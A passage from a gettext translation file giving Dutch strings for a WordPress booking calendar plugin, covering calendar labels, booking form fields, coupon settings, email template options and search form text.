(You can use the shortcodes from the bottom form of Settings Fields page)." msgstr "Type %sstandaard titel van boekingen%s in kalendermodus op boekinglijstlijst pagina (je kunt de shortcodes uit het onderste formulier van de veldinstellingen pagina gebruiken)." #: core/lang/wpbc_all_translations1.php:193 msgid "Booking details in popover" msgstr "Boekingsdetails in popover" #: core/lang/wpbc_all_translations1.php:201 js/wpbc-gutenberg.js:1359 msgid "URL to edit bookings" msgstr "URL om boekingen te bewerken" #: core/lang/wpbc_all_translations1.php:202 msgid "Type URL for %svisitors%s to edit bookings. You must insert %s shortcode into this page." msgstr "Typ de URL voor %sklanten%s om boekingen te bewerken. Je moet %s shortcode in deze pagina invoegen." #: core/lang/wpbc_all_translations1.php:206 msgid "Change hash after the booking is approved" msgstr "Verander hash na acceptatie van de boeking" #: core/lang/wpbc_all_translations1.php:207 msgid "Check this box if you want to change the booking hash after approval. When checked, visitor will not be able to edit or cancel the booking." msgstr "Vink deze checkbox aan als je de boekingshash wil veranderen na acceptatie. Wanneer aangevinkt zal de klant de boeking niet kunnen annuleren of bewerken." #: core/lang/wpbc_all_translations1.php:223 msgid "Form fields" msgstr "Formulier velden" #: core/lang/wpbc_all_translations1.php:224 msgid "Content of Booking Fields" msgstr "Inhoud van de boekingsvelden" #: core/lang/wpbc_all_translations1.php:226 msgid "Content of booking fields data for email templates (%s-shortcode) and booking listing page" msgstr "De inhoud van de boekingsmail (%s-shortcode) en boekingenpagina" #: core/lang/wpbc_all_translations1.php:235 msgid "Time slots for different weekdays" msgstr "Tijdsloten voor verschillende weekdagen" #: core/lang/wpbc_all_translations1.php:238 msgid "Reset Booking Form and Content of Booking Fields Form" msgstr "Het boekingsformulier en de inhoud van het boekingsformulier resetten" #: core/lang/wpbc_all_translations1.php:239 msgid "%s - inserting data from fields of booking form" msgstr "%s - gegevens uit de velden van het boekingsformulier invoegen" #: core/lang/wpbc_all_translations1.php:243 msgid "You can use any %sHTML tags%s in the booking form. Please use the HTML tags carefully. Be sure, that all \"open\" tags (like %s) are closed (like this %s)." msgstr "Je kunt alle %sHTML tags%s gebruiken in het boekingsformulier. Let wel op, zorg dat alle \"open\" tags (zoals %s) gesloten worden (zoals dit %s)." #: core/lang/wpbc_all_translations1.php:244 msgid "Upgrade to higher version" msgstr "Bijwerken naar een hogere versie" #: core/lang/wpbc_all_translations1.php:251 msgid "One Value from %sOptions%s list or term %s for selection of all checkboxes" msgstr "Eén waarde uit de lijst van %sopties%s of term %s voor selectie van alle vakjes" #: core/lang/wpbc_all_translations1.php:253 msgid "Titles of options" msgstr "Titels van de opties" #: core/lang/wpbc_all_translations1.php:254 msgid "One Value from %sOptions%s list" msgstr "Eén waarde uit de lijst van %sOpties%s" #: core/lang/wpbc_all_translations1.php:260 msgid "Maxlength" msgstr "Maximale lengte" #: core/lang/wpbc_all_translations1.php:262 msgid "Put this code in %sContent of Booking Fields%s and in %sEmail Templates%s" msgstr "Zet deze code in %sInhoud van boekingsvelden%s en in %sEmailsjablonen%s" #: core/lang/wpbc_all_translations1.php:280 msgid "Required Fields in Booking Form" msgstr "Verplichte velden in het boekingsformulier" #: core/lang/wpbc_all_translations1.php:282 msgid "You can insert several calendars of different resources into the form allowing you to book several resources during one booking process." msgstr "Je kunt verschillende kalenders van verschillende objecten invoegen in het formulier, zodat verschillende objecten kunnen worden geboekt in één boekingsproces." #: core/lang/wpbc_all_translations1.php:12 msgid "January" msgstr "Januari" #: core/lang/wpbc_all_translations1.php:13 msgid "February" msgstr "Februari" #: core/lang/wpbc_all_translations1.php:14 msgid "March" msgstr "Maart" #: core/lang/wpbc_all_translations1.php:15 msgid "April" msgstr "April" #: core/lang/wpbc_all_translations1.php:16 msgid "May" msgstr "Mei" #: core/lang/wpbc_all_translations1.php:17 msgid "June" msgstr "Juni" #: core/lang/wpbc_all_translations1.php:18 msgid "July" msgstr "Juli" #: core/lang/wpbc_all_translations1.php:19 msgid "August" msgstr "Augustus" #: core/lang/wpbc_all_translations1.php:20 msgid "September" msgstr "September" #: core/lang/wpbc_all_translations1.php:21 msgid "October" msgstr "Oktober" #: core/lang/wpbc_all_translations1.php:22 msgid "November" msgstr "November" #: core/lang/wpbc_all_translations1.php:23 msgid "December" msgstr "December" #: core/lang/wpbc_all_translations1.php:26 #: includes/page-customize/customize__templates.php:1886 #: includes/page-customize/customize__templates.php:2009 #: includes/page-customize/customize__templates.php:2096 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:778 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1216 msgid "Mo" msgstr "Ma" #: core/lang/wpbc_all_translations1.php:28 #: includes/page-customize/customize__templates.php:1888 #: includes/page-customize/customize__templates.php:2011 #: includes/page-customize/customize__templates.php:2098 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:780 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1218 msgid "We" msgstr "Wo" #: core/lang/wpbc_all_translations1.php:30 #: includes/page-customize/customize__templates.php:1890 #: includes/page-customize/customize__templates.php:2013 #: includes/page-customize/customize__templates.php:2100 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:782 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1220 msgid "Fr" msgstr "Vr" #: core/lang/wpbc_all_translations1.php:33 msgid "Jan" msgstr "Jan" #: core/lang/wpbc_all_translations1.php:34 msgid "Feb" msgstr "Feb" #: core/lang/wpbc_all_translations1.php:35 msgid "Mar" msgstr "Maa" #: core/lang/wpbc_all_translations1.php:36 msgid "Apr" msgstr "Apr" #: core/lang/wpbc_all_translations1.php:37 msgid "Jun" msgstr "Jun" #: core/lang/wpbc_all_translations1.php:38 msgid "Jul" msgstr "Jul" #: core/lang/wpbc_all_translations1.php:39 msgid "Aug" msgstr "Aug" #: core/lang/wpbc_all_translations1.php:40 msgid "Sep" msgstr "Sep" #: core/lang/wpbc_all_translations1.php:42 msgid "Nov" msgstr "Nov" #: core/lang/wpbc_all_translations1.php:43 msgid "Dec" msgstr "Dec" #: core/lang/wpbc_all_translations.php:859 msgid "If you do not see search results at front-end side of your website, please check troubleshooting instruction %shere%s" msgstr "Als je geen zoekresultaten ziet op je site, kijk dan %shier%s even naar de instructies voor de foutoplossing" #: core/lang/wpbc_all_translations1.php:192 msgid "Type %sdefault title of bookings%s in %stimeline at front-end side%s. You can use the shortcodes from the bottom form of Settings Fields page." msgstr "Type %sstandaardtitel van de boekingen%s in %stijdslijn aan de voorkant van de site%s. Je kunt de shortcodes van het onderste formulier van de pagina veldinstellingen gebruiken." #: core/lang/wpbc_all_translations1.php:194 msgid "Check this box if you want to %sshow popover with booking details%s in timeline at %sfront-end%s side." msgstr "Vink dit vak aan als je een %spopover met boekingsdetails weer wilt geven%s in de tijdlijn aan de %svoorkant van de site%s." #: core/lang/wpbc_all_translations1.php:257 msgid "Placeholder" msgstr "Plaatshouder" #: core/admin/api-settings.php:1288 core/lang/wpbc_all_translations.php:126 msgid "Time Format" msgstr "Tijd format" #: core/lang/wpbc_all_translations1.php:252 msgid "required" msgstr "vereist" #: core/lang/wpbc_all_translations1.php:258 msgid "Class" msgstr "Klasse" #: core/admin/page-settings.php:290 core/lang/wpbc_all_translations.php:411 msgid "Admin Panel" msgstr "Beheerpaneel" #: core/lang/wpbc_all_translations2.php:147 #: includes/page-resource-free/page-resource-free.php:35 msgid "Customization of booking resource" msgstr "Aanpassing van boeking gegevensbron" #: core/lang/wpbc_all_translations1.php:4 msgid "Customization of Season Filters" msgstr "Aanpassing van seizoensfilters" #: core/lang/wpbc_all_translations.php:765 msgid "Standard" msgstr "Standaard" #: core/lang/wpbc_all_translations.php:768 msgid "Presidential Suite" msgstr "Presidentiële Suite" #: core/lang/wpbc_all_translations.php:770 msgid "Royal Villa" msgstr "Koninklijke Villa" #: core/lang/wpbc_all_translations.php:776 msgid "Availability Title" msgstr "Beschikbaarheid Titel" #: core/lang/wpbc_all_translations.php:777 msgid "Type your %savailability%s description" msgstr "Typ je %sbeschikbaarheid%s beschrijving" #: core/admin/page-ics-export.php:166 core/admin/page-ics-import.php:164 #: core/lang/wpbc_all_translations.php:275 #: includes/page-customize/customize__templates.php:2401 #: js/wpbc-gutenberg.js:1365 js/wpbc-gutenberg.js:1451 msgid "Important!" msgstr "Belangrijk!" #: core/lang/wpbc_all_translations1.php:203 msgid "Please read more info about configuration of this parameter %shere%s" msgstr "Lees %shier%s meer over de configuratie van deze parameter" #: core/lang/wpbc_all_translations.php:785 msgid "Priority" msgstr "Prioriteit" #: core/lang/wpbc_all_translations.php:786 msgid "Single" msgstr "Enkel" #: core/lang/wpbc_all_translations.php:787 msgid "Child" msgstr "Kind" #: core/lang/wpbc_all_translations.php:791 msgid "Add New Discount Coupon" msgstr "Nieuwe kortingscode toevoegen" #: core/lang/wpbc_all_translations.php:792 msgid "Bulk Actions" msgstr "Bulkacties" #: core/lang/wpbc_all_translations.php:797 msgid "Number of usage" msgstr "Aantal gebruik" #: core/lang/wpbc_all_translations.php:805 msgid "Expiration Date" msgstr "Vervaldatum" #: core/lang/wpbc_all_translations.php:806 msgid "Select Expiration Date of the coupon." msgstr "Selecteer vervaldatum van de kortingscode." #: core/lang/wpbc_all_translations.php:809 msgid "Maximum number of usage" msgstr "Maximaal aantal te gebruiken" #: core/admin/wpbc-toolbars.php:947 core/lang/wpbc_all_translations.php:495 msgid "Number of months in one row" msgstr "Aantal maanden in één rij" #: core/lang/wpbc_all_translations1.php:836 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:399 msgid "Calendar width:" msgstr "Kalenderbreedte:" #: core/admin/wpbc-toolbars.php:1040 core/lang/wpbc_all_translations.php:497 msgid "Calendar cell height" msgstr "Kalendercelhoogte" #: core/admin/wpbc-toolbars.php:1412 core/lang/wpbc_all_translations.php:501 msgid "Total" msgstr "Totaal" #: core/admin/wpbc-toolbars.php:1551 core/admin/wpbc-toolbars.php:1591 #: core/lang/wpbc_all_translations.php:502 msgid "ID or Title" msgstr "ID of titel" #: core/lang/wpbc_all_translations.php:597 core/lib/wpbc-ajax.php:213 msgid "Restored" msgstr "Hersteld" #: core/lang/wpbc_all_translations.php:696 core/wpbc-emails.php:341 #: core/wpbc-translation.php:452 msgid "Configuration in several languages" msgstr "Configuratie in verschillende talen" #: core/lang/wpbc_all_translations.php:697 core/wpbc-emails.php:342 #: core/wpbc-translation.php:453 msgid "%s - start new translation section, where %s - locale of translation" msgstr "%s - begin nieuwe vertaalsectie, waar %s - locale van vertaling" #: core/lang/wpbc_all_translations.php:698 core/wpbc-emails.php:343 #: core/wpbc-translation.php:454 msgid "Example #1: %s - start French translation section" msgstr "Voorbeeld nr.1: %s - begin Franse vertaalsectie" #: core/lang/wpbc_all_translations.php:699 core/wpbc-emails.php:344 #: core/wpbc-translation.php:455 msgid "Example #2: \"%s\" - English and French translation of some message" msgstr "Voorbeeld nr.2: \"%s\" - Engelse en Franse vertaling van een bericht" #: core/lang/wpbc_all_translations.php:995 msgid "Costs and Rates" msgstr "Kosten en tarieven" #: core/lang/wpbc_all_translations.php:744 core/wpbc_functions.php:3054 msgid "Changes saved." msgstr "Veranderingen opgeslagen." #: core/lang/wpbc_all_translations.php:585 core/wpbc-js-vars.php:91 #: includes/page-bookings/bookings__actions.php:2127 #: includes/page-form-simple/generator-timeslots.php:433 #: includes/page-form-simple/generator-timeslots.php:443 #: includes/page-form-simple/generator-timeslots.php:446 #: includes/page-form-simple/generator-timeslots.php:455 #: includes/page-form-simple/generator-timeslots.php:457 #: includes/page-form-simple/generator-timeslots.php:466 #: includes/page-form-simple/generator-timeslots.php:468 #: includes/page-form-simple/generator-timeslots.php:477 #: includes/page-form-simple/generator-timeslots.php:479 msgid "Processing" msgstr "Bezig met verwerken" #: core/lang/wpbc_all_translations.php:706 core/wpbc-js-vars.php:92 msgid "Deleting" msgstr "Aan het verwijderen" #: core/lang/wpbc_all_translations.php:707 core/wpbc-js-vars.php:93 msgid "Updating" msgstr "Aan het updaten" #: core/lang/wpbc_all_translations.php:708 core/wpbc-js-vars.php:94 msgid "Saving" msgstr "Aan het opslaan" #: core/admin/api-settings.php:1623 core/lang/wpbc_all_translations.php:165 msgid "Plugin menu position" msgstr "Plugin menu positie" #: core/admin/api-settings.php:1626 core/lang/wpbc_all_translations.php:166 msgid "Top" msgstr "Boven" #: core/admin/api-settings.php:1627 core/lang/wpbc_all_translations.php:167 msgid "Middle" msgstr "Midden" #: core/admin/api-settings.php:1628 core/lang/wpbc_all_translations.php:168 msgid "Bottom" msgstr "Onder" #: core/admin/page-email-approved.php:234 #: core/admin/page-email-approved.php:290 core/admin/page-email-deleted.php:234 #: core/admin/page-email-deleted.php:290 core/admin/page-email-deny.php:236 #: core/admin/page-email-deny.php:290 core/admin/page-email-new-admin.php:218 #: core/admin/page-email-new-admin.php:270 #: core/admin/page-email-new-visitor.php:272 #: core/admin/page-email-trash.php:234 core/admin/page-email-trash.php:295 #: core/lang/wpbc_all_translations.php:201 #: includes/page-form-simple/generator-timeslots.php:143 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:191 msgid "optional" msgstr "optioneel" #: core/admin/page-email-approved.php:407 core/admin/page-email-deleted.php:404 #: core/admin/page-email-deny.php:404 core/admin/page-email-new-admin.php:387 #: core/admin/page-email-new-visitor.php:388 #: core/admin/page-email-trash.php:409 core/lang/wpbc_all_translations.php:215 msgid "Plain (without styles)" msgstr "Platte tekst (geen stijlopmaak)" #: core/admin/page-email-approved.php:408 core/admin/page-email-deleted.php:405 #: core/admin/page-email-deny.php:405 core/admin/page-email-new-admin.php:388 #: core/admin/page-email-new-visitor.php:389 #: core/admin/page-email-trash.php:410 core/lang/wpbc_all_translations.php:216 msgid "Standard 1 column" msgstr "Standaard 1 kolom" #: core/admin/page-email-approved.php:425 core/admin/page-email-deleted.php:422 #: core/admin/page-email-deny.php:422 core/admin/page-email-new-admin.php:405 #: core/admin/page-email-new-visitor.php:406 #: core/admin/page-email-trash.php:427 core/lang/wpbc_all_translations.php:218 msgid "Base Color" msgstr "Basiskleur" #: core/admin/page-email-approved.php:427 #: core/admin/page-email-approved.php:436 #: core/admin/page-email-approved.php:445 #: core/admin/page-email-approved.php:454 core/admin/page-email-deleted.php:424 #: core/admin/page-email-deleted.php:433 core/admin/page-email-deleted.php:442 #: core/admin/page-email-deleted.php:451 core/admin/page-email-deny.php:424 #: core/admin/page-email-deny.php:433 core/admin/page-email-deny.php:442 #: core/admin/page-email-deny.php:451 core/admin/page-email-new-admin.php:407 #: core/admin/page-email-new-admin.php:416 #: core/admin/page-email-new-admin.php:425 #: core/admin/page-email-new-admin.php:434 #: core/admin/page-email-new-visitor.php:408 #: core/admin/page-email-new-visitor.php:417 #: core/admin/page-email-new-visitor.php:426 #: core/admin/page-email-new-visitor.php:435 #: core/admin/page-email-trash.php:429 core/admin/page-email-trash.php:438 #: core/admin/page-email-trash.php:447 core/admin/page-email-trash.php:456 #: core/lang/wpbc_all_translations.php:220 msgid "Default color" msgstr "Standaardkleur" #: core/admin/page-email-approved.php:434 core/admin/page-email-deleted.php:431 #: core/admin/page-email-deny.php:431 core/admin/page-email-new-admin.php:414 #: core/admin/page-email-new-visitor.php:415 #: core/admin/page-email-trash.php:436 core/lang/wpbc_all_translations.php:221 msgid "Background Color" msgstr "Achtergrondkleur" #: core/admin/page-email-approved.php:473 core/admin/page-email-deleted.php:470 #: core/admin/page-email-deny.php:470 core/admin/page-email-new-admin.php:453 #: core/admin/page-email-new-visitor.php:454 #: core/admin/page-email-trash.php:475 core/lang/wpbc_all_translations.php:229 msgid "Plain text" msgstr "Platte tekst" #: core/admin/page-email-approved.php:480 core/admin/page-email-deleted.php:477 #: core/admin/page-email-deny.php:477 core/admin/page-email-new-admin.php:460 #: core/admin/page-email-new-visitor.php:461 #: core/admin/page-email-trash.php:482 core/lang/wpbc_all_translations.php:230 msgid "HTML" msgstr "HTML" #: core/admin/page-settings.php:135 core/lang/wpbc_all_translations.php:401 #: includes/_toolbar_ui/toolbar_ui.php:1197 msgid "New" msgstr "Nieuw" #: core/admin/page-email-new-admin.php:564 #: core/lang/wpbc_all_translations.php:259 msgid "admin" msgstr "beheerder" #: core/lang/wpbc_all_translations.php:538 #: includes/page-form-simple/page-form-simple.php:300 msgid "Form Field Configuration" msgstr "Configuratie van formuliervelden" #: core/lang/wpbc_all_translations.php:545 #: includes/page-form-simple/page-form-simple.php:1602 msgid "Reset to default form" msgstr "Terugzetten naar standaardformulier" #: core/lang/wpbc_all_translations.php:547 #: includes/page-form-simple/page-form-simple.php:1778 #: includes/page-form-simple/page-form-simple.php:2863 msgid "Add New Field" msgstr "Nieuw veld toevoegen" #: core/lang/wpbc_all_translations.php:548 #: includes/page-form-simple/page-form-simple.php:1651 #: includes/page-form-simple/page-form-simple.php:1686 msgid "Select" msgstr "Selecteer" #: core/lang/wpbc_all_translations.php:549 #: includes/page-form-simple/page-form-simple.php:1651 msgid "Form Field" msgstr "Formulierveld" #: core/lang/wpbc_all_translations.php:550 #: includes/page-form-simple/page-form-simple.php:1673 msgid "Standard Fields" msgstr "Standaardvelden" #: core/lang/wpbc_all_translations.php:551 #: includes/page-form-simple/page-form-simple.php:1676 msgid "Text" msgstr "Tekst" #: core/lang/wpbc_all_translations.php:552 #: includes/page-form-simple/page-form-simple.php:1696 msgid "Textarea" msgstr "Tekstgebied" #: core/lang/wpbc_all_translations.php:553 #: includes/page-form-simple/page-form-simple.php:1706 msgid "Checkbox" msgstr "Aanvinkvakje" #: core/lang/wpbc_all_translations.php:554 #: includes/page-form-simple/page-form-simple.php:1721 msgid "Advanced Fields" msgstr "Geavanceerde velden" #: core/lang/wpbc_all_translations.php:564 #: includes/page-form-simple/page-form-simple.php:1814 #: includes/page-form-simple/page-form-simple.php:1889 #: includes/page-form-simple/page-form-simple.php:2313 #: includes/page-form-simple/page-form-simple.php:2802 msgid "Name" msgstr "Naam" #: core/lang/wpbc_all_translations.php:566 #: includes/page-form-simple/generator-timeslots.php:799 #: includes/page-form-simple/page-form-simple.php:1941 #: includes/page-form-simple/page-form-simple.php:2343 msgid "Remove" msgstr "Verwijderen" #: core/admin/page-import-gcal.php:138 core/lang/wpbc_all_translations.php:352 msgid "Note:" msgstr "Notitie:" #: core/admin/page-settings.php:421 core/lang/wpbc_all_translations.php:422 #: includes/page-customize/customize__templates.php:376 #: includes/page-form-simple/page-form-simple.php:2578 msgid "Shortcodes" msgstr "Shortcodes" #: core/lang/wpbc_all_translations.php:574 #: includes/page-form-simple/generator-timeslots.php:795 #: includes/page-form-simple/page-form-simple.php:2778 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:370 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:190 #: js/wpbc-gutenberg.js:939 msgid "Label" msgstr "Label" #: core/lang/wpbc_all_translations.php:576 #: includes/page-form-simple/page-form-simple.php:2828 msgid "Values" msgstr "Waarden" #: core/admin/page-settings.php:144 core/admin/page-settings.php:538 #: core/lang/wpbc_all_translations.php:402 msgid "Plugin Menu" msgstr "Plugin menu" #: core/lang/wpbc_all_translations1.php:823 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:69 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:105 msgid "TimeLine" msgstr "Tijdslijn" #: core/lang/wpbc_all_translations1.php:387 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:85 msgid "Other" msgstr "Andere" #: core/lang/wpbc_all_translations2.php:161 #: includes/publish/wpbc-publish-shortcode.php:258 msgid "Insert into page" msgstr "In pagina invoegen" #: core/admin/api-settings.php:97 core/lang/wpbc_all_translations.php:6 #: includes/page-customize/customize__templates.php:2669 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:240 #: js/wpbc-gutenberg.js:865 msgid "Number of months to scroll" msgstr "Aantal maanden om te scrollen" #: core/lang/wpbc_all_translations1.php:936 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:221 #: js/wpbc-gutenberg.js:862 msgid "Number of days to scroll" msgstr "Aantal dagen om te scrollen" #: core/lang/wpbc_all_translations1.php:937 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:222 msgid " Select number of days to scroll after loading" msgstr " Selecteer aantal dagen om door te scrollen na laden" #: core/lang/wpbc_all_translations1.php:940 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:352 msgid "Select start date" msgstr "Selecteer startdatum" #: core/lang/wpbc_all_translations1.php:933 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:158 #: js/wpbc-gutenberg.js:856 msgid "View mode" msgstr "Weergave type" #: core/admin/api-settings.php:1485 core/admin/wpbc-toolbars.php:948 #: core/lang/wpbc_all_translations.php:143 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:287 msgid "All" msgstr "Alles" #: core/lang/wpbc_all_translations.php:907 msgid "Default Form" msgstr "Standaardformulier" #: core/lang/wpbc_all_translations1.php:434 msgid "First option title" msgstr "Titel eerste optie" #: core/lang/wpbc_all_translations1.php:436 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:404 msgid "Please leave it empty if you want to skip it." msgstr "Laat leeg als je dit wil overslaan." #: core/lang/wpbc_all_translations1.php:910 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:144 msgid "Search form" msgstr "Zoekformulier" #: core/lang/wpbc_all_translations.php:874 msgid "Search results" msgstr "Zoekresultaten" #: core/lang/wpbc_all_translations1.php:918 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:262 msgid "URL of search results:" msgstr "URL van zoekresultaten:" #: core/lang/wpbc_all_translations.php:879 core/wpbc-activation.php:1504 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:181 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:192 msgid "Result(s) Found" msgstr "Gevonden resultaten" #: core/lang/wpbc_all_translations1.php:920 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:300 msgid "Search only for users" msgstr "Zoeken alleen voor gebruikers" #: core/lang/wpbc_all_translations1.php:921 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:301 msgid "Type IDs of the users (separated by comma \",\") for searching availability only for these users, or leave it blank for searching for all users." msgstr "Typ IDs van de gebruikers (gescheiden door komma) om beschikbaarheid alleen voor deze gebruikers te doorzoeken, of laat leeg om voor alle gebruikers te zoeken." #: core/admin/page-settings.php:130 core/admin/page-settings.php:239 #: core/admin/page-settings.php:476 core/lang/wpbc_all_translations.php:400 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:85 msgid "Capacity" msgstr "Capaciteit" #: core/lang/wpbc_all_translations.php:661 core/wpbc-debug.php:189 #: core/wpbc-emails.php:507 core/wpbc.php:415 core/wpbc.php:456 #: includes/page-bookings/bookings__actions.php:2106 #: includes/publish/wpbc-publish-shortcode.php:189 #: includes/_functions/nonce_func.php:60 msgid "Error" msgstr "Fout" #: core/lang/wpbc_all_translations.php:570 #: includes/page-form-simple/page-form-simple.php:2583 msgid "You can reset your active form template by selecting default %sform template%s at the top toolbar. Please select the form template and click on %sReset%s button for resetting only active form (Booking Form or Content of Booking Fields form). Click on %sBoth%s button if you want to reset both forms: Booking Form and Content of Booking Fields form." msgstr "Je kan je actieve formuliertemplate opnieuw instellen door het standaard %sformuliertemplate%s in de bovenste menubalk te selecteren. Selecteer het formuliertemplate en klik op de %sOpnieuw instellen%s-knop om het actieve formulier terug te zetten naar standaard (Reserveringsformulier of Inhoud van Reserveringsvelden). Klik op %sBeide%s-knop als je beide formulieren opnieuw wil instellen: Reserveringsformulier en Inhoud van Reserveringsvelden." #: core/lang/wpbc_all_translations.php:767 msgid "Resource #1" msgstr "Object nr.1" #: core/lang/wpbc_all_translations.php:769 msgid "Resource #2" msgstr "Object nr.2" #: core/lang/wpbc_all_translations.php:771 msgid "Resource #3" msgstr "Object nr.3" #: core/lang/wpbc_all_translations.php:774 msgid "Show availability in tooltip" msgstr "Toon de beschikbaarheid in een tooltip" #: core/lang/wpbc_all_translations.php:775 msgid "Check this box to display the available number of booking resources with a tooltip, when mouse hovers over each day on the calendar(s)." msgstr "Vink dit vakje aan om het aantal beschikbare boekingsprojecten weer te geven met een tooltip, wanneer de muis over een dag van de kalender wordt bewogen." #: core/admin/api-settings.php:1391 core/lang/wpbc_all_translations.php:132 msgid "Use pending days as available" msgstr "Toon dagen waarop een optie is genomen als beschikbaar" #: core/admin/api-settings.php:1392 core/lang/wpbc_all_translations.php:133 msgid "Check this box if you want to show the pending days as available in calendars" msgstr "Vink aan als je dagen waarop een optie genomen is als beschikbaar wilt weergeven in de kalenders" #: core/lang/wpbc_all_translations.php:778 msgid "Auto-cancel bookings" msgstr "Boekingen automatisch annuleren" #: core/lang/wpbc_all_translations.php:779 msgid "Auto Cancel all pending bookings for the specific date(s), if some booking is approved for these date(s)" msgstr "Automatisch annuleren van alle opties voor specifieke datum(s), als een boeking geaccepteerd wordt voor deze datum(s)" #: core/lang/wpbc_all_translations.php:780 msgid "Warning!!! After you approved the specific booking(s), all your pending bookings of the same booking resource as an approved booking for the dates, which are intersect with dates of approved booking, will be automatically canceled!" msgstr "Opgelet! Na het accepteren van specifieke boeking(en), zullen alle opties in hetzelfde object die overlappen met datums van de geaccepteerde boeking automatisch geannuleerd worden!" #: core/admin/api-settings.php:1436 core/lang/wpbc_all_translations.php:140 msgid "Disable bookings in different booking resources" msgstr "Schakel boekingen uit in verschillende objecten" #: core/admin/api-settings.php:1438 core/lang/wpbc_all_translations.php:142 msgid "When checked, all reserved days must be at same booking resource otherwise error message will show." msgstr "Indien aangevinkt, moeten alle gereserveerde dagen bij hetzelfde object zijn, anders zal een foutmelding verschijnen." #: core/lang/wpbc_all_translations.php:784 msgid "Parent" msgstr "Hoofdobject" #: core/lang/wpbc_all_translations.php:788 msgid "Setting coupons for discount" msgstr "Instellen van de kortingscodes" #: core/lang/wpbc_all_translations.php:790 msgid "Create dates filter" msgstr "Aanmaken van prijsafwijkingen voor speciale datums" #: core/lang/wpbc_all_translations.php:793 msgid "Coupon Code" msgstr "Coupon code" #: core/lang/wpbc_all_translations.php:794 msgid "Savings" msgstr "Opgeslagen bestanden" #: core/lang/wpbc_all_translations.php:795 msgid "Minimum Cost" msgstr "Minimum kosten" #: core/lang/wpbc_all_translations.php:796 msgid "Expiration" msgstr "Afloop" #: core/lang/wpbc_all_translations.php:798 #: includes/page-resource-free/page-resource-free.php:322 msgid "Select Booking Resource" msgstr "Selecteer een object" #: core/lang/wpbc_all_translations.php:799 #: includes/_toolbar_ui/toolbar_ui.php:1011 #: includes/_toolbar_ui/toolbar_ui.php:1012 #: includes/_toolbar_ui/toolbar_ui.php:1094 msgid "All resources" msgstr "Alle objecten" #: core/lang/wpbc_all_translations.php:801 msgid "Coupon" msgstr "Coupon" #: core/lang/wpbc_all_translations.php:803 msgid "Enter coupon code." msgstr "Voer een kortingscode in." #: core/lang/wpbc_all_translations.php:804 msgid "Enter number of fixed or percentage savings." msgstr "Voer een vaste of procentuele korting in." #: core/lang/wpbc_all_translations.php:807 msgid "Minimum Booking Cost" msgstr "Minimum boekingskosten" #: core/lang/wpbc_all_translations.php:808 msgid "Enter minimum booking cost, when coupon is applicable." msgstr "Geef de minimum boekingskosten in om de kortingscode te kunnen gebruiken." #: core/lang/wpbc_all_translations.php:810 msgid "Enter maximum number of times, when coupon is applicable." msgstr "Voer het maximaal aantal keren in dat de coupon mag worden gebruikt." #: core/lang/wpbc_all_translations.php:811 msgid "Select booking resources, where is possible to apply this coupon code." msgstr "Selecteer de objecten waar de kortingscode op toegepast kan worden." #: core/lang/wpbc_all_translations.php:812 #: includes/page-resource-free/page-resource-free.php:256 msgid "Add New" msgstr "Toevoegen" #: core/lang/wpbc_all_translations.php:813 msgid "Use these shortcodes for customization: " msgstr "Gebruik deze shortcodes om het formulier aan te passen: " #: core/lang/wpbc_all_translations.php:814 msgid "%s - search inside posts/pages which are part of this category, " msgstr "%s - zoek in berichten/pagina's die deel uitmaken van deze categorie, " #: core/lang/wpbc_all_translations.php:815 msgid "%s - search inside posts/pages which have this tag, " msgstr "%s - zoek in berichten/pagina's die deze tag hebben, " #: core/lang/wpbc_all_translations.php:816 msgid "%s - check-in date, " msgstr "%s aankomstdatum, " #: core/lang/wpbc_all_translations.php:817 msgid "%s - check-out date, " msgstr "%s vertrekdatum, " #: core/lang/wpbc_all_translations.php:820 msgid "%s - search button, " msgstr "%s - zoekknop, " #: core/lang/wpbc_all_translations.php:822 msgid "%s - resource title, " msgstr "%s - titel van het object, " #: core/lang/wpbc_all_translations.php:823 msgid "%s - link to the page with booking form, " msgstr "%s - link naar de pagina met het boekingsformulier, " #: core/admin/wpbc-toolbars.php:259 core/lang/wpbc_all_translations.php:461 msgid "Expand Advanced Toolbar" msgstr "Klap geavanceerde taakbalk uit" #: core/lang/wpbc_all_translations1.php:954 #: includes/_toolbar_ui/toolbar_ui.php:369 #: includes/_toolbar_ui/toolbar_ui.php:739 msgid "Filter bookings by booking dates" msgstr "Filter boekingen op datum" #: core/any/api-emails.php:515 core/lang/wpbc_all_translations.php:505 msgid "Email copy to" msgstr "Emailkopie naar" #: core/lang/wpbc_all_translations.php:598 core/lib/wpbc-ajax.php:348 #: includes/page-customize/customize__ajax_request.php:469 #: includes/page-customize/customize__ajax_request.php:477 msgid "Saved" msgstr "Opgeslagen" #: core/lang/wpbc_all_translations.php:607 core/lib/wpdev-booking-class.php:705 #: core/lib/wpdev-booking-class.php:945 msgid "Please check more about configuration at %sthis page%s" msgstr "Lees meer over de configuratie op %sdeze pagina%s" #: core/lang/wpbc_all_translations.php:654 core/wpbc-activation.php:1286 msgid "The reservation has been modified" msgstr "De boeking is aangepast" #: core/lang/wpbc_all_translations.php:655 core/wpbc-activation.php:1287 msgid "The 